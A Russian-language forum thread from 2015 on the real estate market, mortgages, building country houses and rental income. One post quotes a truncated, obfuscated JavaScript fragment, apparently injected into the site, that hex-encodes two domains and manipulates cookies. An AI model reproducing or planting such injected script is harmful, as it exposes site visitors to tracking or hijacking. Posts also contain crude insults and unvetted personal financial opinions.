Рынок недвижимости: состояние и перспективы

Цитата: ad от 23.09.2015 14:10:36специальность удаленной работы не предполагает,
36 лет

  Примерно мои входящие данные. Жизнь за городом нравиться, но в настоящее время невозможна. Для себя остановился пока на следующей схеме: 
--------
 Схема жизни номер раз. Загородный дом для периодического проживания сейчас, постоянного через 20 лет

   Берем накопленную сумму, покупаем землю 10-15 соток,  берем _ипотечный_ кредит под строительство жилья. Строим дом площадью 100-140 метров, и неспешно его благоустраиваем. Дом изначально строим теплый, рассчитанный на круглогодичное проживание. Через 20 лет начинаем делать его основным местом проживания.
--------
  

Цитата: Barmaglot_12 от 23.09.2015 14:29:27Схема жизни номер раз. Загородный дом для периодического проживания сейчас, постоянного через 20 лет

   Берем накопленную сумму, покупаем землю 10-15 соток,  берем _ипотечный_ кредит под строительство жилья. Строим дом площадью 100-140 метров, и неспешно его благоустраиваем. Дом изначально строим теплый, рассчитанный на круглогодичное проживание. Через 20 лет начинаем делать его основным местом проживания.
--------

Кроме ипотечных менеджеров есть более экологические виды паразитов -  клопы, глисты и тараканы.

Не совсем понятно, зачем платить ипотечные проценты, переплачиавая в 2.5 раза.

Пару лет назад заливал фундаментную плиту - на все ушло около 120 тыс.
Вкладывая по 20 -50 тыр за раз можно постепенно двигать стройку.
Если нанимать бригаду или фирму без контроля, скорее всего накосячат.

Цитата: ru от 24.09.2015 19:55:56Кроме ипотечных менеджеров есть более экологические виды паразитов -  клопы, глисты и тараканы.

Не совсем понятно, зачем платить ипотечные проценты, переплачиавая в 2.5 раза.

Пару лет назад заливал фундаментную плиту - на все ушло около 120 тыс.
Вкладывая по 20 -50 тыр за раз можно постепенно двигать стройку.
Если нанимать бригаду или фирму без контроля, скорее всего накосячат.

и с чувством выполненного долга выйти на пенсию ...кто запрещает гасить досрочно?

Цитата: Paraxod1 от 24.09.2015 20:12:41...кто запрещает гасить досрочно?

Ну кто кто ?
Тот кто не хочет платить за меня проценты, и спонсировать досрочные выплаты.
Его зовут Paraxod1

Цитата: ru от 24.09.2015 19:55:56Кроме ипотечных менеджеров есть более экологические виды паразитов -  клопы, глисты и тараканы.

Не совсем понятно, зачем платить ипотечные проценты, переплачиавая в 2.5 раза.

Пару лет назад заливал фундаментную плиту - на все ушло около 120 тыс.
Вкладывая по 20 -50 тыр за раз можно постепенно двигать стройку.
Если нанимать бригаду или фирму без контроля, скорее всего накосячат.

     Взял ипотеку в 2007 году, итоговая переплата за 15 лет должна составить 1,23 от стоимости кредита (не квартиры). Есть большая вероятность того, что кредит погашу в следующем году. На сегодняшний момент размер платежа по ипотечному кредиту практически сравнялся с размером платежа за аренду такой-же квартиры (разница примерно 7 т.р.). 
   Без ипотеки квартиру бы не купил однозначно, а деньги бы все тупо прожрал! Копить, откладывать, экономить это на самом деле очень сложно. Далеко не все могут это сделать. Ипотека в этом плане очень дисциплинирует.
   А для человека с _материнским_ _капиталом_ ипотечный кредит это самый простой способ получить деньги материнского капитала, что было очень важно для "Ad", изначально задавшего вопрос.

Выскажу свое, может быть неправильное, мнение.
Копить деньги именно как деньги - занятие чуть более чем бесполезное. Если появилась возможность превратить бумагу в актив (а квартира - это актив, и неслабый) - то нужно это делать сразу же как мысль об этом зародилась в голове.
Вопрос дом/квартира - очень интересный. Хочется, несомненно, дом. Но оценивать свои силы нужно реально. Ибо, как тут уже указывали, стоимость владения, затраты личного времени и прочая, прочая...
Моя эпопея началась с размена 4-х комнатной родительской на две хрущевки-однушки (Тула) в 2008, доплата ушла на ремонт обоих квартир. В однушке прожили почти 5 лет, родили 2-х детей, продали, и взяв ипотеку (под 11,5%) с материнским капиталом в 2013 купили трешку в панельной девятиэтажке.
Ипотека почти погашена, осталось 2 года. Погасим, начнем копить на первоначальный взнос на ипотеку, нужно однушку купить по любому.
Планирую сдавать, прибыль - в выплаты по ипотеке. До свадьбы старшей должны управиться, младшему разделим трешку пополам.
Пока так.

Цитата: Соколов Алексей от 25.09.2015 09:42:25Выскажу свое, может быть неправильное, мнение.
Копить деньги именно как деньги - занятие чуть более чем бесполезное.

Это когда денег совсем немного... большее просто проедается ...  И второе , это когда человек так и не начал копить. А когда действительно копит и когда проценты ежемесячно начинаю покрывать размеры ежемесячных пополнений,  http://fincalculator…alkulyator

  то он начинает понимать, что сами деньги через определённое время накопительства могут тоже стать активом и не просто активом, а абсолютно ликвидным активом. Не требующим особых затрат. В отличии от той же недвижимости, которая не только требует содержания, ухода, охраны, страховки и ещё покрывается налогами, но и бывает становится откровенным камнем на шее и кандалами на ногах.

Цитата: Barmaglot_12 от 25.09.2015 08:03:13Взял ипотеку в 2007 году, итоговая переплата за 15 лет должна составить 1,23 от стоимости кредита (не квартиры). Есть большая вероятность того, что кредит погашу в следующем году. На сегодняшний момент размер платежа по ипотечному кредиту практически сравнялся с размером платежа за аренду такой-же квартиры (разница примерно 7 т.р.). 
   Без ипотеки квартиру бы не купил однозначно, а деньги бы все тупо прожрал! Копить, откладывать, экономить это на самом деле очень сложно. Далеко не все могут это сделать. Ипотека в этом плане очень дисциплинирует.

Вот и я об этом. Свою отдал быстро,..ну поднапряглись конечно. А по поводу самостроя...работа...на выходных строишь по чайной ложке...жить то когда?

ПЫСЫ "Жаба"  просто у некоторых невероятного размера.

какая -то абракадабра вылазит ниже
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10706",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Цитата: issedon от 25.09.2015 10:03:54... сами деньги через определённое время накопительства могут тоже стать активом и не просто активом, а абсолютно ликвидным активом. Не требующим особых затрат....

Расскажите об этом на ветке "Сбережения и инвестиции". ) Там и не в курсе что достаточно деньги на депозит класть.
А то там все волосы рвут на всех частях тела и не знают куды бечь.

Насчет ипотеки для квартиры, я согласен.
Часто других реальных вариантов просто нет.
Я писал про случай с домом. Когда нет срочной необходимости в него вселяться.

Но и насчет квартирной ипотеки, это может быть и вариантом лохотрона, и вполне адекватным вариантом, если человек хорошо изучил, просчитал  все риски и продублировал ненадежные места.
В Мск и в Питере, как я понял, вариант с домом имеет больше минусов из за пробок.
К сожалению.

Цитата: Соколов Алексей от 25.09.2015 15:02:16Расскажите об этом на ветке "Сбережения и инвестиции". ) Там и не в курсе что достаточно деньги на депозит класть.
А то там все волосы рвут на всех частях тела и не знают куды бечь.

Привет с ветки Сбережения и инвестиции .  По рынку недвижимости - имеются такие размышления: 
1) Если мы посмотрим на заграницу, где условно можно считать что рынок недвижимости условно пришел в равновесие несколько сот лет назад..
 
2) Там квартиры в многоквартирных домах - есть жилье для бедных соответственно дешевы, отдельные дома в пригороде существенно дороже мягко говоря...

3) Статистика рынка труда за бугром также нам показывает, что 20 -60% работают на дому - это норма, так что проблемы с транспортной доступностью для них не имеют приоритета...

4)У нас же пока наблюдается некоторый паритет цен на городскую и загородную недвижимость именно в связи с пока неразвитой инфраструктурой..
До 2000 года земля в 100 км от Москвы вообще копейки стоила - колхозники паи продавали... Теперь миллионы...
Пока Все движется в указанном направлении..

5)Логистика, производство и офисные центры постепенно выводятся из столицы - это тоже факт...

Это если думать куда инвестировать на долгий срок с целью перепродажи..

Если рассчитывать  на сдачу и доход, то уже сейчас рынок аренды перегрет - цены не только не выросли, но даже упали... А жилье все строят и строят, Что будет когда налоги приблизятся к кадастру - сколько прибыли останется на руках???

Цитата: inok от 25.09.2015 19:04:42....
Это если думать куда инвестировать на долгий срок с целью перепродажи..

Если рассчитывать  на сдачу и доход, то уже сейчас рынок аренды перегрет - цены не только не выросли, но даже упали... А жилье все строят и строят, Что будет когда налоги приблизятся к кадастру - сколько прибыли останется на руках???

С постом согласен. ) Возможно, я неправильно сформулировал свой пост.
Я назвал квартиру "активом", что, несомненно, не совсем правильно. Я имел ввиду, что квартира, крыша над головой вообще в наших климатических условиях - необходимый для жизни товар. И если есть выбор - хранить деньги как деньги или перевести их в бетон, необходимость в котором еще не удовлетворена (т.е. уже есть или планируются дети, которым нужно будет где-то жить), то нужно покупать жилье.
Ренту как прибыль здесь я не рассматриваю в принципе - это всего лишь способ снизить цену приобретения/владения. А если еще и прибыль будет - вообще замечательно.
Замечу еще, что метр недвижимости, как и любой товар, в условиях ежегодной инфляции автоматически дорожает примерно на этот самый процент инфляции. Деньги же, наоборот, на этот процент ежегодно дешевеют и для достижения паритета прибыльность денег должна быть как минимум в два раза выше. Вполне могу ошибаться, мэтры поправят.

Цитата: А вон турист от 27.09.2015 20:29:26По этим параметрам пригороды не скоро догонят свои мегаполисы.
Нужно время, десятки лет и не факт, что вся эта инфраструктура появиться и будет соответствовать Вашим ожиданиям.

Так ведь разговор не об одном десятилетии (хотя в прибалтике и бывшей ГДР вышеописанные изменения уже налицо)...

Цитата: ЦитатаВ провинции жизнь не сахар и любая новостройка, даже с видом на МКАД или третье транспортное, намного лучше жизни в деревне, где нет горячего водоснабжения и отопления.

Отопление и водоснабжение нынче не такая уж проблема - и скважину пробурят и газ подведут причем  за соизмеримые с ценой квартиры в Москве деньги...
У меня некоторые знакомые, (кстати коренные москвичи) вполне себе уехали в дальнюю провинцию региональными представителями и никто не жалеет, и все коттеджи сняли, а не квартиры. Подумывают чтобы остаться... Так что движение идет в обоих направлениях... 

Рассматривать недвижимость как актив можно, для этого берется ежемесячный доход от ренты и умножается на количество лет, за которые, инвестиция окупится (оплатив амортизацию, налоги). Все остальное -это "гадание на кофейной гуще", я не спорю, что после развала страны цены были смешные и вложения были оправдны (со спекулятивной точки зрения). Но времена меняются и с налогами стало строже и налог на роскошь и на землю (кадастровая стоимость меняется). Т.е глупо, продолжать вкладывать или копить видеотехнику, компакт диски и хрусталь с коврами , ВРЕМЕНА МЕНЯЮТСЯ. 

    На мой взгляд, недвижимость - это как одежда, обувь. Они должны соответствовать запросам а не быть результатом манипуляции. Мегаполисы обьективно себя изжили и в силу экономических, логистических или экономических причин они будут расселяться. Ну а сегодняшний дом-это как джип (дорогой в обслуживании, прожорливый, но комфортный и безопасный). Те у кого есть потребность и желание содержать- пользуются и радуются. У кого другие запросы- довольствуется машиной другого класса. Но если студент- продавец покупает джип и жалуется на Путина, но даже не знаю что ему посоветовать))). 


    Приоритеты у всех разные, кого-то раздражают соседи (с трахами, сверлением и проблемой с парковкой во дворе) и он решает жить на окраине города и не глотать пыль стоя в пробках и работает в интернете или еще как. Другой закончил универ и строит карьеру в центре. Третий любит собак и кошек 8или рыбалку), а его жена любит цветочки и тепличку, они кайфуют на природе и много занимаются со своими детьми. Для прыщавой столичной шлюхи, последние ,являются сумашсдшими. Но каждый живет как он хочет и мне мнение шлюхи не интересно.

Цитата: zabimaru от 27.09.2015 21:08:06Налоги с прибыли от сдачи платить собираетесь?

Да, а что, можно не?

Просматривая ресурс cian.ru обнаружил что коммерческая недвижимость сильно-таки пошла вниз. Падение цен интуитивно до 30 % с начала года в рублях...Уже есть предложения в новых (реконструированных) центрах В+ по ценам 100-150 т.м2 в Москве...

Можно-ли считать что через некоторое время начнет подтягиваться вниз жилая? Она всегда идет с запозданием...

И хотелось-бы напомнить аитересованным - 25 октября в столице в гостинном дворе опять будет большая выставка по недвижимости - будет интересно посмотреть и приценится к предложениям буквально из первых рук, сэкономив время на объезде новостроек...

Цитата: alecom от 23.09.2015 08:56:41Если строить по нормальному проекту и топить газом, расход на отопление меньше чем на квартиру с центральным отоплением в старом фонде. Строить конечно надо если рядом есть электричество, газ, водопровод и асфальтированная дорога. Канализацию можно сделать в виде локального септика с фильтрационным полем, обслуживание недорогое. Не берите учаток менее 20 соток! Не берите участок рядом с лесом, если почва болотистая (комары достанут).  Плюсы намного весомее чем недостатки в виде увеличившихся транспортных расходов. Можно завести домашних любимцев (для детей очень актуально), много жизненного пространства, воздух чище в разы и его больше, в доме больше света, возможность занятий спортом на свежем воздухе, нет проблем с парковкой для себя и гостей, всё свое (никаких ремонтных фондов и непонятных общих расходов). 
Если выйти на улицу взлянув на свою квартиру снизу, на эти несколько окошек, представить какой объем она занимает во всем строении! Представить квартиры соседей со всех сторон с их постояльцами.... Становится не по себе от соотношения ее стоимости и объема.
И еще не стройте маленький дом(

 Кроме выделенного согласна со всем. Считаю,что 150 м2 жилой площади и 15 соток на четверых,даже сверх нормы. Не знаю причины,почему вам мало. У меня у родителей дом на 200 м2,участок 20 соток как раз,ну и что? Мы с братом выросли,живем в городе,я хочу свой дом построить,бываем в родительском по выходным. Второй этаж вообще не используется,половина земли пустует и куда ето все? )Наверное строить нужно из расчета-"ты да я да мы с тобой" и 2 гостевые - детские в одном лице.) Дети 100% вырастут и уедут,а вы останетесь с махиной наедине.
 Присмотрели место себе,то ,где хотели бы участок купить,цены,как вкопанные,уже год. Как стоили 650,так и есть. стоит ли еще подождать?

Цитата: inok от 12.10.2015 21:15:48Просматривая ресурс cian.ru обнаружил что коммерческая недвижимость сильно-таки пошла вниз. Падение цен интуитивно до 30 % с начала года в рублях...Уже есть предложения в новых (реконструированных) центрах В+ по ценам 100-150 т.м2 в Москве...

А чего ей не падать? Понастроили курятников заложившись на дефицит 2000-х.  Уже лет несколько стоят полупустые, да ещё и здоровые бизнес-центры за МКАД свою лепту вносят.
Да и из бизнеса много народа вылетело.

Цитата: ЦитатаМожно-ли считать что через некоторое время начнет подтягиваться вниз жилая? Она всегда идет с запозданием...

Если бы её столько понастроили сколько коммерческой недвиги.

Недвижимость - это всегда сложная тема. Цены падают и поднимаются и мы никак не можем на это повлиять. Конечно когда ты в это вкладываешься, тогда есть смысл следить на ценами. Меня в данный момент очень интересует , не отразиться ли это на аренде. Мы арендуем neo geo бизнес центр и очень заинтересованы в стабильности в цене

http://realty.rbc.ru…?from=main

даже риелторы признали, в рублях проседает недвига и будет проседать, не получается инвесторов загнать ну никак